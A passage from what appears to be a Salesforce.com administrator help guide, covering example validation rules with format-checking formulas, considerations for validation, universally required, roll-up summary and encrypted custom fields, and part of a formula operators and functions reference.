value of the field to its value prior to update.
Formula: PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Error Message: Commit Amount cannot be decreased.


Error Location: Commit Amount

918
Customize Managing Validation Rules

California Driver's License

Field Value
Description: Ensures that a custom field called Drivers License is in the correct A9999999 format
when the Mailing State is “CA”.
Formula: AND(
MailingState = "CA",
NOT(REGEX(Drivers_License__c, "([A-Z]\\d{7})?"))
)

Error Message: Invalid California driver's license format.


Error Location: Drivers License

Force Users to Check “I Accept Terms” to Enter Certain Values

Field Value
Description: Uses a checkbox labeled “I accept terms” to force the user to select a checkbox in order
to enter a value called Number of Days that exceeds their Paid Time Off (PTO)
balance available.
Formula: AND(
NOT( I_accept_terms__c ),
Number_of_Days__c > $User.PTO_Balance__c
)

Error Message: Request will cause a negative PTO balance. You must accept Negative PTO Balance
terms.
Error Location: I accept terms

Prohibit Changes to a Field After It Has Been Saved

Field Value
Description: Prevents users from changing a custom field called Guaranteed Rate after it has been
saved initially.
Formula: AND(
NOT( ISNEW() ),
ISCHANGED( Guaranteed_Rate__c )
)

Error Message: Guaranteed Rate cannot be changed.


Error Location: Guaranteed Rate

919
Customize Managing Validation Rules

Social Security Number Format

Field Value
Description: Validates that a custom text field called SSN is formatted in 999-99-9999 number format
(if it is not blank). The pattern specifies:
• Three single digits (0-9):\\d{3}
• A dash
• Two single digits (0-9):\\d{2}
• A dash
• Four single digits (0-9):\\d{4}

Formula: NOT(
OR(
ISBLANK(Social_Security_Number__c),
REGEX( Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}")
)
)

Error Message: SSN must be in this format: 999-99-9999.


Error Location: SSN

Valid Currency

Field Value
Description: Validates selected currency against an explicit subset of active currencies in your
organization using the Currency picklist. Use this example if you only allow some of
the active currencies in your organization to be applied to certain types of records.
Formula: CASE(CurrencyIsoCode,
"USD", 1,
"EUR", 1,
"GBP", 1,
"JPY", 1,
0) = 0

Error Message: Currency must be USD, EUR, GBP, or JPY.


Error Location: Currency

Valid Credit Card Number

Field Value
Description: Validates that a custom text field called Credit_Card_Number is formatted in
9999-9999-9999-9999 or 9999999999999999 number format when it is not blank.The
pattern specifies:
• Four digits (0-9) followed by a dash: \\d{4}-
• The aforementioned pattern is repeated three times by wrapping it in () {3}
• Four digits (0-9)

920
Customize Managing Validation Rules

Field Value
• The OR character (|) allows an alternative pattern of 16 digits of zero through nine
with no dashes: \\d{16}

Formula: NOT( REGEX( Credit_Card_Number__c ,


"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Error Message: Credit Card Number must be in this format: 9999-9999-9999-9999 or


9999999999999999.
Error Location: Credit Card Number

Valid IP Address

Field Value
Description: Ensures that a custom field called IP Address is in the correct format, four 3-digit
numbers (0-255) separated by periods.
Formula: NOT(
REGEX( IP_Address__c,
"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
))

Error Message: Error: IP Address must be in form 999.999.999.999 where each part is between 0 and
255.
Error Location: IP Address

Website Extension

Field Value
Description: Validates a custom field called Web Site to ensure its last four characters are in an
explicit set of valid website extensions.
Formula: AND(
RIGHT( Web_Site__c, 4) <> ".COM",
RIGHT( Web_Site__c, 4) <> ".com",
RIGHT( Web_Site__c, 4) <> ".ORG",
RIGHT( Web_Site__c, 4) <> ".org",
RIGHT( Web_Site__c, 4) <> ".NET",
RIGHT( Web_Site__c, 4) <> ".net",
RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk"
)

Error Message: Web Site must have an extension of .com, .org, .net, or .co.uk.
Error Location: Web Site

921
Customize Managing Validation Rules

Validation Rule Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Validation rules verify that the data a user enters in a record meets the standards you specify before the user can save the record.
A validation rule can contain a formula or expression that evaluates the data in one or more fields and returns a value of “True”
or “False.” Validation rules also include an error message to display to the user when the rule returns a value of “True” due to
an invalid value. Review the following implementation notes and best practices before implementing validation rules in your
organization.

Implementation Notes
• It is not necessary to begin your validation rule formula with an IF function. Any Boolean error condition expression works.
For example:
- Correct: CloseDate < TODAY()
- Incorrect: IF(CloseDate < TODAY(), TRUE, FALSE)

• Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:
• Validation formulas cannot reference merge fields for auto number or compound address fields like Mailing Address.
However, merge fields for individual address fields, such as Billing City, can be used in validation formulas.
• Validation formulas cannot reference campaign statistic fields, including statistics for individual campaigns and campaign
hierarchies. For a list of fields that cannot be used in validation formulas, see Campaign Fields on page 2041.
• When one validation rule fails, Salesforce.com continues to check any additional validation rules on that field or any other
field on the page and displays all appropriate error messages at once.
• The detail page of a custom activity field does not list associated validation rules.
• If validation rules exist for activities and you create an activity during lead conversion, the lead converts but a task is not
created.
• Validation rules are only enforced during lead conversion if validation and triggers for lead conversion are enabled in your
organization.
• Campaign hierarchies ignore validation rules.
• Salesforce.com runs validation rules before creating records submitted via Web-to-Lead and Web-to-Case, and only creates
records that have valid values.
• The Data Loader and the Force.com API version 7 and later run validation rules.
• Salesforce.com runs validation rules on records before they are imported. Records that fail validation are not imported.
Consider deactivating the appropriate validation rules before running an import if they affect the records you are importing.
• Because updates to records based on workflow rules do not trigger validation rules, workflow rules can invalidate previously
valid fields.
• When defining validation rules, you can set the error location to Top of Page or Field. If the error location is set to a
field that is later deleted or a field that is read only or not visible on the page layout, Salesforce.com automatically changes
the error location to Top of Page.
• An “Invalid Formula” error displays if your formula has a run-time error such as division by zero.
• You cannot create validation rules for relationship group members.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.
• When a validation rule contains the BEGINS or CONTAINS functions, it processes blank fields as valid. For example,
if you have a validation rule that tests to see if the serial number of an asset begins with “3,” all assets that have a blank
serial number are considered valid.

922
Customize Managing Validation Rules

• Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
“Read,” “Edit,” and “None” when referencing the following merge fields in a formula:
- $UserRole.CaseAccessForAccountOwner
- $UserRole.OpportunityAccessForAccountOwner
- CaseAccessLevel (on Territory)
- OpportunityAccessLevel (on Territory)
Use the values “Read,” “Edit,” and “All” when referencing the following merge fields in a formula:
- AccountAccessLevel (on Territory)

• Because roll-up summary fields are not displayed on edit pages, you can use them in your validation rule but not as the
error location.
• Validation rules do not run on multiple records updated after a change owner or mass transfer. However, changing an
owner of a single record does run validation rules.
Tip: Salesforce.com processes any rules in the following order:
1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules
Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

Lookup Filters vs. Validation Rules


Validation rules and lookup filters achieve similar ends, but offer different advantages. Use a lookup filter if:
• You want to improve user efficiency by limiting the number of available options in a lookup search dialog.
• You want to improve user efficiency by automating filters on lookup search dialogs that your users manually set.
Use a validation rule if:
• You're close to the maximum number of lookup filters allowed.
• You must implement a complex business rule that requires you to use a formula. Formulas can reference fields that basic
filter criteria can't reference, such as fields on the parent of the source object. Formulas can also use functions. For example,
use ISNEW if the rule should only apply on record creation, or ISCHANGED if the rule should apply when a field changes.

Best Practices
• When creating validation rules, consider all the settings in your organization that can make a record fail validation such
as assignment rules, field updates, field-level security, or fields hidden on a page layout.
• Be careful not to create two contradicting validation rules for the same field; otherwise, users will not be able to save the
record.
• A poorly designed validation rule can prevent users from saving valid data. Make sure you thoroughly test a validation rule
before activating it. Users will never be able to save a record if your formula always returns a “True” value.
• Because validation rules run on the Self-Service portal, make sure your validation rules do not prevent Self-Service users
from creating cases.
• Write helpful error messages:
Always include the field label.
Users may not know what field is failing validation, especially if your error message is located at the top of the page.

923
Customize Managing Validation Rules

Give instructions.
An error message like “invalid entry” does not tell them what type of entry is valid. Use an error message like "Close
Date must be after today."

If appropriate, translate your error messages.


If users in your organization speak different languages, translate your error messages using the Translation Workbench.
See Setting Up the Translation Workbench on page 437.

Assign error numbers to validation rules and error messages.


This allows you to identify the source of the error.
• Consider what fields are visible and editable for users on their page layouts due to field-level security. Fields that are not
visible or editable for the user are still available in the formula for a validation rule and can cause a validation error. If the
error message is designed to display next to a hidden field, it will display at the top of the page.
For such fields, consider adding a default value to automatically populate the field with a valid value since users will not
be able to edit the field to correct any validation errors. See Defining Default Field Values on page 886.
• Use the record type ID merge field in your formula to apply different validation for different record types. For information
about merge fields, see Merge Fields Overview on page 414.
• If person accounts are enabled for your organization:
- To define a validation rule that applies only to person accounts, use the IsPersonAccount merge field.
- You must handle person account names and business account names separately in account validation rules. For business
accounts, use the Name merge field. For person accounts, use the FirstName and LastName merge fields.
- Birthdate, Email, and other fields that are only supported for person accounts are available as merge fields in account
validation rules. When you use one of those merge fields, note that business account records will be processed as if
those fields have blank values.

• When using a validation rule to ensure that a number field contains a specific value, use the ISNULL function to include
fields that do not contain any value. For example, to validate that a custom field contains a value of '1,' use the following
validation rule to display an error if the field is blank or any other number:

OR(ISNULL(field__c), field__c<>1)

• Simplify your validation formulas by using checkbox fields, which don't require any operator because they return true or
false. For example, the following validation formula checks to be sure an opportunity has opportunity products using the
HasOpportunityLineItem merge field before users can save a change to it:

NOT(OR(ISNEW(),HasOpportunityLineItem))

• When referencing related fields in your validation formula, make sure those objects are deployed.
• Check the Debug Log to monitor details of the start and completion of each validation rule evaluated.
• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.

See Also:
About Validation Rules
Defining Validation Rules
Examples of Validation Rules

924
Customize About Universally Required Fields

About Universally Required Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated
processes such as Web-to-Lead and Web-to-Case. Making a field required on a page layout or through field-level security
ensures users must enter a value, but making a field required universally gives you a higher level of data quality beyond the
presentation level of page layouts.
You can make the following types of custom fields universally required:

• Currency
• Date
• Date/Time
• Email
• Master-Detail Relationship (always required)
• Number
• Percent
• Phone
• Text
• Text Area
• URL

To make a custom field universally required, select the Required checkbox when defining the custom field.
Note: You must specify a default value for required campaign member custom fields.
If you make a user field universally required, you must specify a default value for that field. See Defining Default Field
Values on page 886.

Relationship group members do not support universally required fields. For more information on the behaviors of relationship
group members, see Relationship Group Considerations on page 1867.

See Also:
Universally Required Field Considerations
About Custom Fields

Universally Required Field Considerations


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A universally required field is a custom field that must have a value whenever a record is saved within Salesforce.com, the
Force.com API, Connect Offline, Connect for Outlook, Connect for Lotus Notes, the Self-Service portal, or automated

925
Customize About Roll-Up Summary Fields

processes such as Web-to-Lead and Web-to-Case. Review the following considerations before making your custom fields
universally required.

• Standard fields cannot be universally required. For a list of the types of custom fields that you can make universally required,
see About Universally Required Fields on page 925.
• Universally required fields are required across all record types.
• Edit pages always display universally required fields, regardless of field-level security.
• When designing your page layouts, universally required fields:

- Cannot be removed from a page layout


- Are automatically added to the end of the first section of a page layout if not already on it
- Cannot be read only or optional
- Display in bold, indicating they are always visible
- Are disabled on the field properties page because you cannot remove the required setting

• Universally required fields are only enforced during lead conversion if validation and triggers for lead conversion are enabled
in your organization.
• Quick Create does not enforce universally required fields.
• If you make an activity custom field universally required, you must also provide a default value.
• You must include universally required fields in your import files or the import will fail. For more information, see About
Universally Required Fields on page 925. For more information, see Importing Overview on page 618.
• Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
• You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details,
see Defining Field Updates on page 1418.
• Required fields may be blank on records that existed before making the field required. When a user updates a record with
a blank required field, the user must enter a value in the required field before saving the record.

See Also:
About Universally Required Fields
About Custom Fields

About Roll-Up Summary Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

While your formula fields calculate values using fields within a single record, roll-up summary fields calculate values from a
set of related records, such as those in a related list. You can create roll-up summary fields that automatically display a value
on a master record based on the values of records in a detail record. These detail records must be directly related to the master
through a master-detail relationship. For example, a custom account field called Total Invoice Amount displays the sum
of invoice amounts for all related invoice custom object records in the Invoices related list on an account.
You can perform different types of calculations with your roll-up summary fields. You can count the number of detail records
related to a master record, or calculate the sum, minimum value, or maximum value of a field in the detail records.
Before you begin creating roll-up summary fields for your organization, review the implementation tips and best practices.

926
Customize About Roll-Up Summary Fields

Implementation Tips
Administration
• Create roll-up summary fields on:
- Any custom object that is on the master side of a master-detail relationship
- Any standard object that is on the master side of a master-detail relationship with a custom object
- Opportunities using the values of opportunity products related to the opportunity
- Accounts using the values of related opportunities
- Campaigns using campaign member status or the values of campaign member custom fields
Note: Campaign member custom formula fields that reference fields derived from leads or contacts are not
supported.

• The types of fields you can calculate in a roll-up summary field depend on the type of calculation. For example,
- Number, currency, and percent fields are available when you select SUM as the roll-up type.
- Number, currency, percent, date, and date/time fields are available when you select MIN or MAX as the roll-up type.

• You may not be able to change the field type of a field that you reference in a roll-up summary field.
• For the maximum number of roll-up summary fields allowed in your organization, see Salesforce.com Editions and Limits
on page 1584.
• Make sure that the filter for your roll-up summary does not encounter a formula field that results in “#Error!”. If your filter
criteria uses a formula field that results in an error, Salesforce.com does not return any matches for that filter criterion. For
example, if your roll-up summary filter is “Formula Field equals 10” and two records contain errors while one contains the
value “10” in that field, your summary only includes the record with the value “10.”
• Salesforce.com does not recalculate the value of campaign roll-up summary fields when leads or contacts are deleted. Select
the Force a mass recalculation on this field option on the edit page of a campaign roll-up summary field
to manually recalculate the value.
• Long text area, multi-select picklist, Description, system fields like Last Activity, cross-object formula fields, and
lookup fields (such as the Product Code field) cannot be used in the field column of roll-up summary filters.
• Auto number fields are not available as the field to aggregate in a roll-up summary field.
• After you have created a roll-up summary field on an object, you cannot convert the object's master-detail relationship into
a lookup relationship.
• Roll-up summary fields are not available for mapping lead fields of converted leads.
Management
• Roll-up summary fields cannot calculate the values of other roll-up summary fields except for account to opportunity roll-up
summary fields, which allow you to calculate the values of opportunity roll-up summary fields.
• Roll-up summary fields can calculate the values of formula fields if they do not contain cross-object field references or
functions that automatically derive values on the fly, such as NOW or TODAY.
Note: The value of a formula field can result in “#Error!”, which affects the summarized total. If your roll-up
summary type is COUNT, records are included regardless of whether they contain a formula field with an error,
but when the Field to Aggregate is a formula field that results in “#Error!”, calculations of type MIN, MAX,
and SUM exclude those formula values.

• Changes to the value of a roll-up summary field can trigger assignment rules to run. If a roll-up summary field is part of
the criteria in an assignment rule, the field's new value is used to evaluate if the record should be reassigned.
• Roll-up summary fields can trigger workflow rules and field validations. However, workflow rules and field validations do
not fire when the following changes cause a mass recalculation of roll-up summary values:

927
Customize About Roll-Up Summary Fields

- Changing the roll-up summary definition (such as the object, function, or field being aggregated)
- Changing the expression of a formula field referenced in a roll-up summary field
- Replacing picklist values for picklist fields referenced in the roll-up summary filter
- Changing picklist record type definitions
- Changing currency conversion rates
- Changing price book entries

• Calculating roll-up summary field values may take up to 30 minutes, depending on the number of records affected and
other factors.
• Salesforce.com does not prevent you from creating roll-up summary fields that might result in invalid values, such as
February 29th in a non-leap year. If an existing roll-up summary field results in an invalid value, Salesforce.com does not
recalculate the value, and the field will continue to display with an invalid roll-up summary icon ( ) until you change the
values being summarized.
• If your organization uses multiple currencies, the currency of the master record determines the currency of the roll-up
summary field. For example, if the master and detail records are in different currencies, Salesforce.com converts the values
in the detail record into the currency of the master record before calculating the final value and displaying it in the same
currency as the master record.
• If your organization has advanced currency management enabled, currency roll-up summary fields are invalid if they are
on accounts and summarizing opportunity values or on opportunities and summarizing custom object values.
• Salesforce.com will prevent users from saving a record when doing so would invalidate a related record. For example, if
the related master record has a validation rule that requires the roll-up summary field value to be greater than 100, and the
user's change to the child record will put the value over 100, the user will not be able to save the record.
• If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any Apex
triggers, validation rules, workflow rules, or roll-up summary fields.

Best Practices
• Apply field-level security to your roll-up summary fields if they calculate values that you do not want visible to users. Fields
that your users cannot see due to field-level security settings on the detail record are still calculated in a roll-up summary
field.
• If you have validation rules, consider how they affect roll-up summary fields. A validation error can display when saving
either the detail or master record because the value in a roll-up summary field changes when the values in the detail records
change.
• Because roll-up summary fields are not displayed on edit pages, you can use them in validation rules but not as the error
location for your validation.
• Avoid referencing a roll-up summary field from a child record. The roll-up summary field will have the previous value
because the parent record has not been updated. If you reference a roll-up summary field from a parent record, the roll-up
summary field will always have the new value because that rule runs after the parent value has been updated.
If you are trying to enforce a record limit of 25 on the parent roll-up summary field, when you add a new child record,
your validation rule on the child object needs to check if the count is already 25 or greater.

AND(ISNEW(), Opportunity.Line_Count__c >= 25)

• Plan your implementation of roll-up summary fields carefully before creating them. Once created, you cannot change the
detail object selected or delete any field referenced in your roll-up summary definition.
• Roll-up summary fields are affected by advanced currency management. If your organization enables advanced currency
management, delete any currency roll-up summary fields on accounts that summarize opportunity values or on opportunities
that summarize custom object values. Otherwise, the fields continue to display with an invalid roll-up summary icon because
Salesforce.com no longer calculates their values.

928
Customize About Roll-Up Summary Fields

• Automatically derived fields such as current date or current user are not allowed in roll-up summary fields. This includes
formula fields containing functions that automatically derive values on the fly, such as NOW and TODAY. Formula fields
that include related object merge fields are also not allowed in roll-up summary fields.

See Also:
Creating Custom Fields
Defining Roll-Up Summaries

Defining Roll-Up Summaries


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view roll-up summary field definitions: “View Setup and Configuration”
To edit roll-up summary field definitions: “Customize Application”

Define roll-up summary fields on the object that is on the master side of a master-detail relationship. If a relationship does
not already exist, first create a master-detail relationship between the master object that displays the value and the detail object
containing the records you are summarizing. For a list of the standard master-detail relationships where roll-up summary
fields are available, see About Roll-Up Summary Fields on page 926.
To define a roll-up summary field:

1. Create a custom field on the object where you want the field displayed. Summary fields summarize the values from records
on a related object, so the object on which you create the field should be on the master side of a master-detail relationship.
For instructions on creating a custom field, see Creating Custom Fields on page 812.
2. Choose the Roll-Up Summary field type, and click Next.
3. Enter a field label and any other attributes. Click Next. For information on the attributes you can set, see Custom Field
Attributes on page 817.
4. Select the object on the detail side of a master-detail relationship. This object contains the records you want to summarize.
5. Select the type of summary:

Type Description
COUNT Totals the number of related records.
SUM Totals the values in the field you select in the Field to Aggregate option. Only number, currency,
and percent fields are available.
MIN Displays the lowest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.
MAX Displays the highest value of the field you select in the Field to Aggregate option for all
directly-related records. Only number, currency, percent, date, and date/time fields are available.

929
Customize About Encrypted Custom Fields

6. Enter your filter criteria if you want a selected group of records in your summary calculation. If your organization uses
multiple languages, enter filter values in your organization's default language. For more information on using filter criteria,
see Entering Filter Criteria on page 2163.
7. Click Next.
8. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible for specific profiles, and click Next.
9. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
10. Click Save to finish or Save & New to create more custom fields.

See Also:
About Roll-Up Summary Fields

About Encrypted Custom Fields


Encrypted custom fields are text fields that can contain letters, numbers, or symbols but are encrypted. The value of an encrypted
field is only visible to users that have the “View Encrypted Data” permission.
Before you begin working with encrypted custom fields, review the following implementation notes and best practices:

Implementation Notes
• To enable encrypted fields for your organization, contact salesforce.com.
• Encrypted fields are encrypted with 128-bit keys and use the AES (Advanced Encryption Standard) algorithm.
• Encrypted custom fields cannot be unique, an external ID, or have default values.
• While other text fields can contain up to 255 characters, encrypted text fields are limited to 175 characters due to the
encryption algorithm.
• Encrypted fields are not available for use in filters such as list views, reports, roll-up summary fields, and rule filters.
• Encrypted fields cannot be used to define report criteria but they can be included in report results.
• Encrypted fields are not searchable but they can be included in search results.
• Encrypted fields are not available in the following: Salesforce Mobile, Connect for Outlook, Connect for Lotus Notes,
Connect Offline, lead conversion, workflow rule criteria or formulas, formula fields, outbound messages, default values,
and Web-to-Lead and Web-to-Case forms.
• You can use encrypted fields in email templates yet the value is always masked regardless of whether you have the “View
Encrypted Data” permission.
• If you have created encrypted custom fields, make sure your organization has secure connections using SSL (Secure Sockets
Layer) enabled. To enable this setting for your organization, see Setting Session Security on page 544.
• If you have the “View Encrypted Data” permission and you grant login access to another user, be aware that the other user
will be able to see encrypted fields unmasked (in plain text). To avoid this, first clone your profile and remove the “View
Encrypted Data” permission from the cloned profile, then assign yourself to the cloned profile before granting login access
to the other user. If you do not have the appropriate permissions to clone and change your profile, contact your administrator
for assistance.
• Only users with the “View Encrypted Data” permission can clone the value of an encrypted field when cloning that record.

930
Customize Operators and Functions

Best Practices
• Encrypted fields are editable regardless of whether the user has the “View Encrypted Data” permission. Use validation
rules, field-level security settings, or page layout settings to prevent users from editing encrypted fields.
• You can still validate the values of encrypted fields using validation rules or Apex scripts. Both work regardless of whether
the user has the “View Encrypted Data” permission. Data for encrypted fields in the debug log is masked.
• Existing custom fields cannot be converted into encrypted fields nor can encrypted fields be converted into another data
type. To encrypt the values of an existing (unencrypted) field, export the data, create an encrypted custom field to store
that data, and import that data into the new encrypted field.
• Mask Type is not an input mask that ensures the data matches the Mask Type. Use validation rules to ensure that the
data entered matches the mask type selected.
• Use encrypted custom fields only when government regulations require it because they involve additional processing and
have search-related limitations.

See Also:
Creating Custom Fields
Custom Field Attributes

Operators and Functions


Use the following operators and functions when building formulas. Click on the name or description below to view more
details. All functions are available everywhere that you can include a formula such as formula fields, validation rules, approval
processes, and workflow rules, unless otherwise specified.
Note: Extraneous spaces in the samples below are ignored by Salesforce.com.

Math Operators

Operator Description
+ Calculates the sum of two values.
- Calculates the difference of two values.
* Multiplies its values.
/ Divides its values.
^ Raises a number to a power of a specified number.
() Specifies that the expressions within the open parenthesis and close parenthesis are evaluated first.
All other expressions are evaluated using standard operator precedence.

Logical Operators

Operator Description
= and == Evaluates if two values are equivalent.

931
Customize Operators and Functions

Operator Description
<> and != Evaluates if two values are not equivalent.
< Evaluates if a value is less than the value that follows this symbol.
> Evaluates if a value is greater than the value that follows this symbol.
<= Evaluates if a value is less than or equal to the value that follows this symbol.
>= Evaluates if a value is greater than or equal to the value that follows this symbol.
&& Evaluates if two values or expressions are both true. Use this operator as an alternative to the logical
function AND.
|| Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative
to the logical function OR.

Text Operators

Operator Description
& Connects two or more strings.

Date and Time Functions

Function Description
DATE Returns a date value from year, month, and day values you enter.
Salesforce.com displays an error on the detail page if the value of the DATE
function in a formula field is an invalid date, such as February 29 in a
non-leap year.
DATEVALUE Returns a date value for a date/time or text expression.
DAY Returns a day of the month in the form of a number between 1 and 31.
MONTH Returns the month, a number between 1 ( January) and 12 (December) in
number format of a given date.
NOW Returns a date/time representing the current moment.
TODAY Returns the current date as a date data type.
YEAR Returns the four-digit year in number format of a given date.

Informational Functions

Function Description
BLANKVALUE Determines if an expression has a value and returns a substitute expression
if it does not. If the expression has a value, returns the value of the expression.
ISBLANK Determines if an expression has a value and returns TRUE if it does not. If
it contains a value, this function returns FALSE.

932
Customize Operators and Functions

Function Description
ISNULL Determines if an expression is null (blank) and returns TRUE if it is. If it
contains a value, this function returns FALSE.
NULLVALUE Determines if an expression is null (blank) and returns a substitute expression
if it is. If the expression is not blank, returns the value of the expression.
PRIORVALUE Returns the previous value of a field.

Logical Functions

Function Description
AND Returns a TRUE response if all values are true; returns a FALSE response
if one or more values are false.
CASE Checks a given expression against a series of values. If the expression is equal
to a value, returns the corresponding result. If it is not equal to any values,
it returns the else_result.
IF Determines if expressions are true or false. Returns a given value if true and
another value if false.
ISCHANGED Compares the value of a field to the previous value and returns TRUE if the
values are different. If the values are the same, this function returns FALSE.
ISNEW Checks if the formula is running during the creation of a new record and
returns TRUE if it is. If an existing record is being updated, this function
returns FALSE.
ISNUMBER Determines if a text value is a number and returns TRUE if it is. Otherwise,
it returns FALSE.
NOT Returns FALSE for TRUE and TRUE for FALSE.
OR Determines if expressions are true or false. Returns TRUE if any expression
is true. Returns FALSE if all expressions are false.

Math Functions

Function Description
ABS Calculates the absolute value of a number. The absolute value of a number
is the number without its positive or negative sign.
CEILING Rounds a number up to the nearest integer.
EXP Returns a value for e raised to the power of a number you specify.
FLOOR Returns a number rounded down to the nearest integer.
LN Returns the natural logarithm of a specified number. Natural logarithms are
based on the constant e value of 2.71828182845904.
LOG Returns the base 10 logarithm of a number.
MAX Returns the highest number from a list of numbers.

933
Customize Operators and Functions

Function Description
MIN Returns the lowest number from a list of numbers.
MOD Returns a remainder after a number is divided by a specified divisor.
ROUND Returns the nearest number to a number you specify, constraining the new
number by a specified number of digits.
SQRT Returns the positive square root of a given number.

Text Functions

Function Description
BEGINS Determines if text begins with specific characters and returns TRUE if it
does. Returns FALSE if it does not.
BR Inserts a line break in a string of text.
CONTAINS Compares two arguments of text and returns TRUE if the first argument
contains the second argument. If not, returns FALSE.
FIND Returns the position of a string within a string of text represented as a
number.
GETSESSIONID Returns the user’s session ID.
HYPERLINK Creates a link to a URL specified that is linkable from the text specified.
IMAGE Inserts an image with alternate text and height/width specifications.
INCLUDES Determines if any value selected in a multi-select picklist field equals a text
literal you specify.
ISPICKVAL Determines if the value of a picklist field is equal to a text literal you specify.
LEFT Returns the specified number of characters from the beginning of a text
string.
LEN Returns the number of characters in a specified text string.
LOWER Converts all letters in the specified text string to lowercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
LPAD Inserts spaces or characters you specify to the left-side of a text string.
MID Returns the specified number of characters from the middle of a text string
given the starting position.
RIGHT Returns the specified number of characters from the end of a text string.
RPAD Inserts blank spaces or characters that you specify to the right-side of a text
string.
SUBSTITUTE Substitutes new text for old text in a text string.
TEXT Converts a percent, number, date, date/time, or currency type field into text
anywhere formulas are used. Also, converts picklist values to text in validation
rules, formula fields, and field updates.

934
Customize Operators and Functions

Function Description
TRIM Removes the spaces and tabs from the beginning and end of a text string.
UPPER Converts all letters in the specified text string to uppercase. Any characters
that are not letters are unaffected by this function. Locale rules are applied
if a locale is provided.
VALUE Converts a text string to a number.

Summary Functions
The following functions can only be used in the context of creating custom summary formulas for summary reports.

Function Description
PARENTGROUPVAL A summary function that returns the value of the selected summary field
from the parent grouping level that you specify. Parent grouping levels are
those above the grouping level where you chose to display the formula. For
matrix reports, choose both row and column grouping levels.
PREVGROUPVAL A summary function that returns the value of the selected summary field
from the previous summary row at the grouping level that you specify. For
matrix reports, the summary_field you choose controls whether a previous
row or column is returned. The increment determines how many steps
previous to the current summary field to return. The default increment is 1.
The maximum increment is 12.

Advanced Functions

Function Description
GETRECORDIDS Returns an array of strings in the form of record IDs for the selected records
in a list, such as a list view or related list.
INCLUDE Returns content from an s-control snippet. Use this function to reuse common
code in many s-controls.
LINKTO Returns a relative URL in the form of a link (href and anchor tags) for a
custom s-control or Salesforce.com page.
REGEX Compares a text field to a regular expression and returns TRUE if there is
a match. Otherwise, it returns FALSE. A regular expression is a string used
to describe a format of a string according to certain syntax rules.
REQUIRESCRIPT Returns a script tag with source for a URL you specify. Use this function
when referencing the Force.com AJAX Toolkit or other JavaScript toolkits.
URLFOR Returns a relative URL for an action, s-control, or a file in a static resource
archive in a Visualforce page.
VLOOKUP Returns a value by looking up a related value on a custom object similar to
the VLOOKUP() Excel function.

935
Customize Operators and Functions

Encoding Functions

Function Description
HTMLENCODE Encodes text and merge field values for use in HTML by replacing characters
that are reserved in HTML, such as the greater-than sign (>), with HTML
entity equivalents, such as &gt;.
JSENCODE Encodes text and merge field values for use in JavaScript by inserting escape
characters, such as a backslash (\), before unsafe JavaScript characters, such
as the apostrophe (').
JSINHTMLENCODE Encodes text and merge field values for use in JavaScript within HTML tags
by inserting escape characters before unsafe JavaScript characters and replacing
characters that are reserved in HTML with HTML entity equivalents.
URLENCODE Encodes text and merge field values for use in URLs by replacing characters
that are illegal in URLs, such as blank spaces, with the code that represent
those characters as defined in RFC 3986, Uniform Resource Identifier (URI):
Generic Syntax. For example, blank spaces are replaced with %20, and
exclamation points are replaced with %21.

+ (Add)

Description: Calculates the sum of two values.


Use: value1 + value2 and replace each value with merge
fields, expressions, or other numeric values.
Formula Field Example: Amount + Maint_Amount__c + Services_Amount__c
This formula calculates the sum of the opportunity Amount,
maintenance amount, and services fees. Note that Maint
amount and Service Fees are custom currency fields on
opportunities.

Report Example: EMAIL_OPT_OUT:SUM + DO_NOT_CALL:SUM calculates all


Email Opt Out fields plus all Do Not Call fields on the
leads in your report. This formula is a number data type that
returns a positive integer.
Validation Rule Example: You may have a custom object that allows users to track the
total number of hours worked in a week. Use the following
example to ensure that users cannot save a time card record
with more than 40 hours in a work week.
Monday_Hours__c +
Tuesday_Hours__c +
Wednesday_Hours__c +
Thursday_Hours__c +
Friday_Hours__c > 40

Use a formula like this one in a validation rule to display the


following error message when the total number of hours
entered for each work day is greater than 40: “Your total hours
cannot exceed 40.” This example requires five custom fields
on your custom object, one for each day of work.

936
Customize Operators and Functions

- (Subtract)

Description: Calculates the difference of two values.


Use: value1 - value2 and replace each value with merge
fields, expressions, or other numeric values.
Example: Amount - Discount_Amount__c
This formula calculates the difference of the opportunity
Amount less the Discount Amount. Note that Discount
Amount is a custom currency field on opportunities.

Report Example: AMOUNT:SUM -


Opportunity.Discount_Amount__c:SUM calculates the
difference of all Amount fields and all Discounted Amount
custom fields on the opportunities in your report. This formula
is a currency data type that returns a currency sign and decimal
places.

* (Multiply)

Description: Multiplies its values.


Use: value1 * value2 and replace each value with merge
fields, expressions, or other numeric values.
